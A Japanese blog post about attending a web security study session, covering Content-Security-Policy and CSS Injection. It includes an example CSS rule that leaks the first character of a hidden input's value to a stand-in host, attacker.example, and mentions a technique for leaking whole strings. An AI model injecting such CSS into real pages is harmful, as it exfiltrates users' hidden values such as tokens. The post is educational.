おーじぇいブログ

ただひたすらに書きます。

「 #websecjp : 体系的に学ぶモダン Web セキュリティ」に参加してきました

はじめに

昨日行われた、「#websecjp: 体系的に学ぶモダン Web セキュリティ」という勉強会に参加してきました。

websecjp.connpass.com

f:id:OJ920:20191124124011p:plain
大手町KDDIビル16階 NICTイノベーションセンター

普段フロントエンドの勉強ばかりしているのですが、最近はバックエンドにも手を出すようになってきて、セキュリティの方もやらんとマズいな、、と思い応募。75人の中からの抽選で、見事30人の中に入ることができました。

セキュリティ関係はドのつくほどの素人。全く前提知識が無い中だったのでとても不安でした。しかし事前学習用にPDFが配られて、それを一通りさらって勉強することができたので、なんとか基礎知識は詰め込むことが出来ました。(本当はconnpass側から連絡が入ってたらしいんですが、どうやらメールが届いていなかったようで確認するのが前々日になってしまいました……)

会場に着くと、周りみんなすごそうな人でいっぱいで、冷や汗をかきました。

同じ島になった方が自己紹介のときに「最近は趣味で自作言語を作っている」と話していたので、あまりのレベルの差に目眩がしました。強すぎ……

学んだこと

今回の講義の目標は「基本的なWebセキュリティのパラダイムを学ぶこと」と設定されており、それぞれの攻撃手法の歴史や実際の例を紹介しつつ自分で手を動かす、というものでした。注意事項に「ほどよいいたずら心と、とてもよい倫理観を持ちましょう」とあったのが印象的でした。

以下に、今回の講義で学んだことの中からいくつか抜粋して載せます。

XSS対策 - Content-Security-Policy(CSP)

CSPとは、「開発者がブラウザに正規のJSはどれかなどの事前情報を与えることで、Content Injection攻撃を防ぐ」仕組みのことです。もし悪意のあるコードがInjectionされてしまっても、開発者が信頼できるコードだと指定した物で無ければ実行を防ぐことができる、というもの。

developer.mozilla.org

これはTwitterGitHubFacebook、Snapchat等、様々なWebサービスが導入しています。

最近では肥大化するCSPを、さらに分割して実装する方法も提案される(提案者はChromeのリードデベロッパー!)など、改善に向けた動きもあるそうです。

github.com

攻撃手法 - CSS Injection

例えば

<input type="hidden" value="hogehoge" />

というHTMLタグがあったとき、

input[value ^= "h"] {
  /* ... */
}

というCSSで「"h"から始まるvalue値のinputタグ」という要素を取ることが出来ます。

これを応用して、

input[value ^= "h"] {
  background: url(http://attacker.example/?h);
}

のように書くと、「もしvalue値が"h"から始まっているinputタグがあったらhttp://attacker.example/?hにGETメソッドを飛ばす」ということができます。攻撃者はCSS Injectionが出来る場所にこのCSSを(値を変えて)繰り返し挿入し、このアドレスを待ち受けておくことで、value値の一文字目が何かを知る(リークする)ことが出来ます。

さらにこれを応用したRecursive Import Techniqueというものを使えば、CSSを一つ注入するだけで、リークしたい文字列全体をリークできるようになる、とのこと。

bit.ly

(この記事を書かれたTsubasaさんはこの勉強会でメンターとして参加されており、様々なことを教えていただきました、、ありがとうございます!)

などなど。とても内容の濃い8時間でした!

おわりに

正直のところ、自分には少しむずかしい話が多かったです。。特に最後のXS-Leaks / XS-Searchはさっぱりで、主催のつばめさんに手取り足取り教えてもらったのにそれを再現する方法がわからないという失態……(本当に申し訳ないです)

ですが、今まで無関心だったWebセキュリティという領域を、少しでも触れることができたので、とても良い学びとなりました。参加してとても良かったです……!

これからWebサイト・サービスを作っていくときに、セキュリティの観点もしっかり見越して構築する必要があるな、ということを改めて実感しました。

ありがとうございました!